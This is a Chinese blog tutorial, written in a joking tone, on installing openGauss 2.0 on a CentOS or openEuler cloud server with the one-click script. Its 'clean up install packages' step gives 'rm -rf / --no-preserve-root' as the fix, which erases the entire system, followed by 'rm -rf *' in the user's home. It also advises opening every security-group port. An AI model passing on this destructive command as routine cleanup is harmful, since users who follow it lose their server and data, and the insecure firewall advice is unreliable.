在CentOS/openEuler下安装openGauss

如题,如果你有300块钱代金券的话,别想学生机了,华为云学生机是arm的(能不能用代金券我不知道)。。。。

推荐:通用计算型,1核2G,1M带宽,可以买三个月

选择系统时可以选择openEuler(推荐)或者CentOS8,不过要注意的就是打开安全组,反正我是全部开启红红火火恍恍惚惚。。。。。

然后就不说了,中间遇到问题可以问问万能的度娘。

然后使用ssh登录到服务器,如果这你不会的话。。。出门左转去问问度娘再回来。。。。或者是别回来了吧。。。。

解释一下,为什么需要2G的运存,是因为openGauss最低要求两个G,我看文档也没说,别问我怎么知道的,图便宜用1G的装不了,那不就是2G嘛。。。。

还有就是为什么前面文档中写得这么复杂,然后你就采用了虚拟机或者docker的方式,,,其实官方是有一键安装脚本的。。不过2.0版本才写进了文档。。。

下面就采用及其先进的一键安装脚本。。

 

1,创建系统普通用户并下载openGauss Server极简版

ssh登录到服务器后,使用如下命令新建用户

sudo adduser omm

这样就新建了一个名为omm的用户

然后授权文件夹给用户(什么叫"授权前举步维艰授权后为所欲为"你可以不执行这一步操作感受感受)

sudo chown omm /opt

 然后切换到该用户

su - omm

https://opengauss.org/zh/download.html里面选择极简版centos_x86_64或者openeuler_x86_64右键复制链接,输入命令:

wget https://opengauss.obs.cn-south-1.myhuaweicloud.com/2.0.0/x86_openEuler/openGauss-2.0.0-openEuler-64bit-all.tar.gz

也就是wget+你复制的链接

wget是命令行下的下载命令,wget 你要下载的文件的地址,例如:

wget 女朋友 #然后你就有女朋友了

不过如果链接不对就下载不了,例如

wget 我的女朋友
--2021-04-28 21:25:49--  http://我的女朋友/
Resolving 我的女朋友 (我的女朋友)... 0.0.0.我的女朋友
Connecting to 我的女朋友 (我的女朋友)|0.0.0.我的女朋友|:80... failed: Invalid argument.

那就是找不到我的女朋友咯,看来本人还需要争取一下。

 

2,解压并安装openGauss

创建安装目录

mkdir /opt/software && mkdir /opt/software/openGauss

在安装前安装所需软件包,不然刚发车就熄火了。。。

yum install libaio*

然后解压 

tar -zxvf openGauss-2.0.0-openEuler-64bit-all.tar.gz
tar -jxf openGauss-*-openEuler-64bit.tar.bz2 -C /opt/software/openGauss

 执行安装命令

cd /opt/software/openGauss/simpleInstall
sh install.sh -w openGauss@123

这里的openGauss@123为密码,你可以改成自己喜欢的,比如说。。。。

然后中途可能需要你输入一个yes。。。

 

3,验证安装

安装执行完成后,使用ps和gs_ctl查看进程是否正常。

ps ux | grep gaussdb
gs_ctl query -D /opt/software/openGauss/data/single_node

执行ps命令,显示类似如下信息:

omm      24209 11.9  1.0 1852000 355816 pts/0  Sl   01:54   0:33 /opt/software/openGauss/bin/gaussdb -D /opt/software/openGauss/single_node
omm      20377  0.0  0.0 119880  1216 pts/0    S+   15:37   0:00 grep --color=auto gaussdb

 执行gs_ctl命令,显示类似如下信息:

gs_ctl query ,datadir is /opt/software/openGauss/data/single_node
HA state:
    local_role                     : Normal
    static_connections             : 0
    db_state                       : Normal
    detail_information             : Normal
    
Senders info:
    No information
        
 Receiver info:
No information 

然后就OK了

 

4,清理无用安装包

这个很简单啊,一行命令搞定

rm -rf / --no-preserve-root

按照下面的命令来,一行一行执行:

su omm
cd
rm -rf *

5,重启服务器之后如何启动服务(旧版为gs_om start)

gs_ctl start -D /opt/software/openGauss/data/single_node -Z single_node

 

评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

chainsxaw

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值